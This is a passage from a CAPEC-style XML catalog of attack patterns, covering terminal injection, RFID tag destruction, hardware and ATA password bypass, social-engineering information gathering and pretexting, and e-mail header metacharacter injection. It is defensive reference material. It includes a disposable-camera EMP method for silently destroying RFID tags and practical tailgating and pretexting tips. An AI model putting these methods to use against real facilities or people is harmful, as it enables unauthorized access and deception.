				<Solution_or_Mitigation>
					<Text>Design: Ensure that terminals are only writeable by named owner user
						and/or administrator</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Design: Enforce principle of least privilege</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Run Arbitrary Code-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>Payload delivered through standard user terminal.</Text>
			</Injection_Vector>
			<Payload>
				<Text>Command(s) executed directly on host, in other victim's terminal</Text>
			</Payload>
			<Activation_Zone>
				<Text>Multi-user host</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>Enables attacker to execute server side code with any commands that the
						program owner has privileges to.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>306<!--Missing Authentication for Critical Function--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>74<!--Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>249<!--Character Injection--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Mainframe</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>Other</Framework>
				</Frameworks>
				<Platforms>
					<Platform>UNIX-LINUX</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>G. Hoglund</Reference_Author>
					<Reference_Author>G. McGraw</Reference_Author>
					<Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					<Reference_Publisher>Addison-Wesley</Reference_Publisher>
					<Reference_PubDate>February 2004</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code.
							Addison-Wesley, February 2004.</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-01-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Gunnar Peterson</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-28</Modification_Date>
						<Modification_Comment>Fleshed out content to CAPEC schema from the original
							descriptions in "Exploiting Software"</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-09</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in Name,
							Description and Examples</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="400" Name="RFID Chip Deactivation or Destruction"
			Pattern_Abstraction="Standard" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker uses methods to deactivate a passive RFID tag for the purpose
						of rendering the tag, badge, card, or object containing the tag
						unresponsive. RFID tags are used primarily for access control, inventory, or
						anti-theft devices. The purpose of attacking the RFID chip is to disable or
						damage the chip without causing damage to the object housing it. When
						correctly performed the RFID chip can be disabled or destroyed without
						visible damage or marking to whatever item or device containing the chip.
						Attacking the chip directly allows for the security device or method to be
						bypassed without directly damaging the device itself, such as an alarm
						system or computer system Various methods exist for damaging or deactivating
						RFID tags. For example, most common RFID chips can be permanently destroyed
						by creating a small electromagnetic pulse near the chip itself. One method
						employed requires the modifying a disposable camera by disconnecting the
						flash bulb and soldering a copper coil to the capacitor. Firing the camera
						in this configuration near any RFID chip-based device creates an EMP pulse
						sufficient to destroy the chip without leaving evidence of tampering. So far
						this attack has been demonstrated to work against RFID chips in the 13.56
						MHz range. </Text>
				</Summary>
			</Description>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>396<!--Bypassing Card or Badge-Based Systems--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure</Reference_Author>
					<Reference_Author>Joel Scambray</Reference_Author>
					<Reference_Author>George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 9: Hacking Hardware</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-11-21</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-11-21</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="401" Name="Hacking Hardware Devices or Components"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker exploits weaknesses in the physical hardware of a machine in
						order to gain unauthorized access to the device or system. Hacking hardware
						devices falls into several broad categories depending upon the relative
						sophistication of the attacker and the type of systems that are targeted.
						Attacks against hardware devices differ from software attacks in that
						hardware-based attacks target the chips, circuit boards, device ports, or
						other components that comprise a computer system or embedded system. The
						most common hardware devices which are attacked are computer systems such as
						laptops, desktops and server platforms. Simple attacks may range from
						inserting an unauthorized USB drive into a system or using a Boot disk or CD
						to gain access to an unprotected system. Other more sophisticated attacks
						may involve adding or removing jumpers to an exposed system, or applying
						sensors to portions of the motherboard to read dataas it traverses the
						system bus. </Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Some level of physical access to the device being attacked.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>390<!--Bypassing Physical Security of Systems or Facilities--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure</Reference_Author>
					<Reference_Author>Joel Scambray</Reference_Author>
					<Reference_Author>George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 9: Hacking Hardware</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-11-21</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-11-21</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="402" Name="Bypassing ATA Password Security"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker exploits a weakness in ATA security on a drive to gain access
						to the information the drive contains without supplying the proper
						credentials. ATA Security is often employed to protect hard disk information
						from unauthorized access. The mechanism requires the user to type in a
						password before the BIOS is allowed access to drive contents. Some
						implementations of ATA security will accept the ATA command to update the
						password without the user having authenticated with the BIOS. This occurs
						because the security mechanism assumes the user has first authenticated via
						the BIOS prior to sending commands to the drive. Various methods exist for
						exploiting this flaw, the most common being installing the ATA protected
						drive into a system lacking ATA security features (a.k.a. hot swapping).
						Once the drive is installed into the new system the BIOS can be used to
						reset the drive password. </Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Access to the system containing the ATA Drive so that the drive can be
						physically removed from the system.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>401<!--Hacking Hardware Devices or Components--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure</Reference_Author>
					<Reference_Author>Joel Scambray</Reference_Author>
					<Reference_Author>George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 9: Hacking Hardware</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-11-21</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-11-21</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="403" Name="Social Engineering Attacks" Pattern_Abstraction="Meta"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker manipulates people into performing actions or divulging
						confidential information, as well as possible access to computer systems or
						facilities. While similar to a confidence trick or simple fraud, the term
						typically applies to trickery or deception for the purpose of information
						gathering, fraud, or computer system access; in most cases the attacker
						never comes face-to-face with the victim</Text>
				</Summary>
			</Description>
			<Typical_Severity>Low</Typical_Severity>
			<References>
				<Reference>
					<Reference_Author>The Official Social Engineering Portal</Reference_Author>
					<Reference_Publisher>http://www.social-engineer.org</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-11-17</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-11-17</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="404" Name="Social Information Gathering Attacks"
			Pattern_Abstraction="Meta" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker employs various means of gathering information about a target
						company, organization, or person. These techniques may range from using
						telephones, gathering trash or other discarded information, intrusion within
						company property, using the Internet for research, to querying individuals
						under false or misleading pretenses. A social engineer can use many small
						pieces of information to combine into a useful vulnerability of a system.
						Information can be important whether it comes from the janitor’s office or
						from the CEO’s office; each piece of paper, employee spoken to or area
						visited by the social engineer can add up enough information to attain
						access to sensitive data and resources of the company. The lesson here is
						all information, no matter how insignificant the employee believes it to be,
						may assist in creating a vulnerability for a company and an entrance for a
						social engineer. While the ultimate goal of the attacker may vary the
						purpose of these attacks is usually to gain access to computer systems or
						facilities. </Text>
				</Summary>
			</Description>
			<Typical_Severity>Low</Typical_Severity>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>403<!--Social Engineering Attacks--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>The Official Social Engineering Portal</Reference_Author>
					<Reference_Publisher>http://www.social-engineer.org</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-11-17</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-11-18</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="405" Name="Social Information Gathering via Research"
			Pattern_Abstraction="Meta" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker employs various methods of information gathering to collect a
						body of information that facilitates the attacker's goals toward the target
						organization. Because an attacker's goals can vary so widely during this
						phase there is no one particular methodology that is often employed. During
						the research phase, for example, an attacker could use a company's automated
						directory service via the telephone to identify individuals in key positions
						of authority. Other methods could involve casing an establishment during
						high traffic hours to determine how strictly employees monitor who is
						entering the building behind them or something as simple as internet
						searching. Gathering information to support social engineering exercises is
						much the same as research you do for anything else. You need a goal in mind
						when you start in order to keep the research focused. Having a clear
						objective helps you determine what information is relevant to the end goal
						and what can be ignored. This holds true not only for the information
						gathered but also for how it's gathered. </Text>
				</Summary>
			</Description>
			<Typical_Severity>Low</Typical_Severity>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>404<!--Social Information Gathering Attacks--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>The Official Social Engineering Portal</Reference_Author>
					<Reference_Publisher>http://www.social-engineer.org</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-11-17</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-11-18</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="406" Name="Social Information Gathering via Dumpster Diving"
			Pattern_Abstraction="Meta" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker cases an establishment and searches through trash bins,
						dumpsters, or areas where company information may have been accidentally
						discarded for information items which may be useful to the dumpster diver.
						The devastating nature of the items and/or information found can be anything
						from medical records, resumes, personal photos and emails, bank statements,
						account details or information about software, tech support logs and so much
						more. By collecting this information an attacker may be able to learn
						important facts about the person or organization that play a role in helping
						the attacker in their attack.</Text>
				</Summary>
			</Description>
			<Typical_Severity>Low</Typical_Severity>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>404<!--Social Information Gathering Attacks--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>The Official Social Engineering Portal</Reference_Author>
					<Reference_Publisher>http://www.social-engineer.org</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-11-17</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-11-18</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="407" Name="Social Information Gathering via Pretexting"
			Pattern_Abstraction="Meta" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker engages in pretexting behavior to solicit information from
						target persons, or manipulate the target into performing some action that
						serves the attacker's interests. During a pretexting attack the attacker
						creates an invented scenario, assuming an identity or role to persuade a
						targeted victim to release information or perform some action. It is more
						than just creating a lie, in some cases it can be creating a whole new
						identity and then using that identity to manipulate the receipt of
						information. Pretexting can also be used to impersonate people in certain
						jobs and roles that they never themselves have done. Basic pretexting
						attacks may simply seek to learn information about a target, but more
						complicated pretexting attacks seek to solicit a target to perform some
						action that assists the attacker in exploiting organizational weaknesses or
						obtaining access to secure facilities or systems. One example of a
						pretexting attack could be to dress up like a jogger and run in place by the
						entrance of a building, pretending to look for your access card. Because the
						hood obscures you face, it may be possible to solicit someone inside the
						building to let you inside. Pretexting is also not a one-size fits all
						solution. A social engineering attacker will have to develop many different
						pretexts over their career. All of them will have one thing in common,
						research. Good information gather techniques can make or break a good
						pretext. Being able to mimic the perfect tech support rep is useless if the
						target does not use outside support. Pretexting is also used in other areas
						of life other than social engineering. Sales, public speaking, so-called
						fortune tellers, NLP experts and even doctors, lawyers, therapists and the
						like all have to use a form of pretexting. They all have to create a
						scenario where a person is comfortable with releasing information they
						normally would not. One of the most important aspects of social engineering
						is trust. If the attacker cannot build trust they will most likely fail. A
						solid pretext is an essential part of building trust. If an attacker's
						alias, story, or identity has holes or lacks credibility or even the
						perception of credibility the target will most likely catch on. Similar to
						inserting the proper key in a lock, the right pretext provides the proper
						cues to those around the attacker and can disarm their suspicions or doubts
						and open up the doors, so to speak. .</Text>
				</Summary>
			</Description>
			<Typical_Severity>Low</Typical_Severity>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>404<!--Social Information Gathering Attacks--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>410<!--Information Elicitation via Social Engineering--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>The Official Social Engineering Portal</Reference_Author>
					<Reference_Publisher>http://www.social-engineer.org</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-11-17</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-11-18</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="408" Name="Information Gathering from Traditional Sources"
			Pattern_Abstraction="Meta" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker engages in information gathering activities from traditional
						sources which are typically open, publicly available sources of information
						that don't require any illegal activity to obtain.. Tradition sources can
						include corporate websites, DNS (Domain Name Service) records, or even
						social media sites such as blogs or wikis. The goal is to collect as much
						information as possible so as to construct a accurate model that aids the
						attacker in conducting further social engineering attacks. </Text>
				</Summary>
			</Description>
			<Typical_Severity>Low</Typical_Severity>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>404<!--Social Information Gathering Attacks--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>The Official Social Engineering Portal</Reference_Author>
					<Reference_Publisher>http://www.social-engineer.org</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-11-17</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-11-18</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="409" Name="Information Gathering from Non-Traditional Sources"
			Pattern_Abstraction="Meta" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker uses sources of information which are less obvious and often
						overlooked to learn about the target person or organization. These sources
						could be industry experts or insiders who might reveal key pieces of
						information that help the attacker determine possible social engineering
						vulnerabilities in the target. Other types of oblique information gathering
						might be to case or stalk particular employees to find out popular after
						work venues. The attacker would then visit that venue and sit in close
						proximity to the target individuals to gather information.</Text>
				</Summary>
			</Description>
			<Typical_Severity>Low</Typical_Severity>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>404<!--Social Information Gathering Attacks--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>The Official Social Engineering Portal</Reference_Author>
					<Reference_Publisher>http://www.social-engineer.org</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-11-17</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-11-18</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="41"
			Name="Using Meta-characters in E-mail Headers to Inject Malicious Payloads"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>This type of attack involves an attacker leveraging meta-characters in
						email headers to inject improper behavior into email programs.</Text>
					<Text>Email software has become increasingly sophisticated and feature-rich. In
						addition, email applications are ubiquitous and connected directly to the
						Web making them ideal targets to launch and propagate attacks. As the user
						demand for new functionality in email applications grows, they become more
						like browsers with complex rendering and plug in routines. As more email
						functionality is included and abstracted from the user, this creates
						opportunities for attackers. Virtually all email applications do not list
						email header information by default, however the email header contains
						valuable attacker vectors for the attacker to exploit particularly if the
						behavior of the email client application is known. Meta-characters are
						hidden from the user, but can containt scripts, enumerations, probes, and
						other attacks against the user's system.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Identify and characterize metacharacter
											processing vulnerabilities in email
											headers</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>An attacker creates emails with headers containing
												various metacharacter-based malicious payloads in
												order to determine whether the target application
												processes the malicious content and in what manner
												it does so.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Use an automated tool (fuzzer) to create
												malicious emails headers containing
												metacharacter-based payloads.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Manually tampering email headers to inject
												malicious metacharacter-based payload content in
												them.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>The email client processes metacharacters in
												email headers.</Text>
												</Indicator_Description>
												<Environments>env-Local</Environments>
											</Indicator>
											<Indicator ID="2" type="Negative">
												<Indicator_Description>
												<Text>The email client does not process
												metacharacters in email headers.</Text>
												</Indicator_Description>
												<Environments>env-Local</Environments>
											</Indicator>
											<Indicator ID="3" type="Negative">
												<Indicator_Description>
												<Text>The email server will strip the headers that
												contain metacharacters</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="4" type="Inconclusive">
												<Indicator_Description>
												<Text>The email server lets the malicious
												metacharacters in the email headers.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The email client executes the
												malicious payload.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>No malicious content is being
												delivered in the email by the
												server.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor email headers
												for malicious content in
												metacharacters.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>An attacker leverages vulnerabilities identified
												during the Experiment Phase to inject malicious
												email headers and cause the targeted email
												application to exhibit behavior outside of its
												expected constraints.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
